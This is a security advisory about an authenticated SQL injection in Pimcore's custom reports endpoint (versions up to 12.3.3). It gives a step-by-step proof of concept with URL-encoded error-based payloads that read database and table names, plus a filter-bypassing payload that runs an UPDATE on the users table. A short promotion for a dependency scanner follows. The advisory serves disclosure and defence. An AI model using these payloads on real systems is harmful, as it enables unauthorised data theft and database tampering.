Details

Summary

The columnConfigAction endpoint in the CustomReportsBundle is vulnerable to SQL injection. An attacker with the reports_config permission can supply a malicious SQL configuration that is concatenated into a query and executed. Although the application attempts to filter certain DDL/DML keywords (like UPDATE, DELETE, DROP), it fails to prevent arbitrary SELECT queries, UNION statements, or the use of dangerous database functions. Furthermore, because the application returns database error messages in the JSON response, an attacker can easily exfiltrate data using error-based SQL injection techniques.

Affected scope

bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php CustomReportController:columnConfigAction -> SqlAdapter::getColumns -> SqlAdapter::buildQueryString -> Db::fetchAssociative()

PoC

Download and install the version Pimcore <=12.3.3 (latest)
Login using Admin account or any account that has reports_config permission
Navigate to custom reports
Capture the request using burp suite and perform SQLi attack as the following

configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20user())%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes

2. Get Database name

configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(select%2bcurrent_setting(%24%24is_superuser%24%24))%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes

3. Get Tables names __Note__: Update the limit parameter to iterate around the tables queries like limit 0,1 limit 1,1 , limit 2,1 ..etc

configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema%3ddatabase()%20LIMIT%200%2c1)%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes

4. Bypass the implemented Regex and perform SQL updat eto for exmaple update the admin username

configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22*%22%2c%22from%22%3a%22users%22%2c%22where%22%3a%22id%3d1)%2f**%2fOR%2f**%2f1%3d1%3b%2f**%2fUPDATE%2f**%2fusers%2f**%2fSET%2f**%2fname%3d'admin'%2f**%2fWHERE%2f**%2fname%3d'admin2'%3b--%20-%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes

Impact

By exploiting this vulneability any user with custom-report access could manipuate and crawl the database information and also bypass the application filters to Update,insert or delete database tables, which impact on the application confidentiality ,intergrity and service availability

Is GHSA-3234-gxc3-pq6f in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected pimcore/pimcore, and gives you the command that fixes it.

Scan a project free, no signup Or connect GitHub to scan every repo
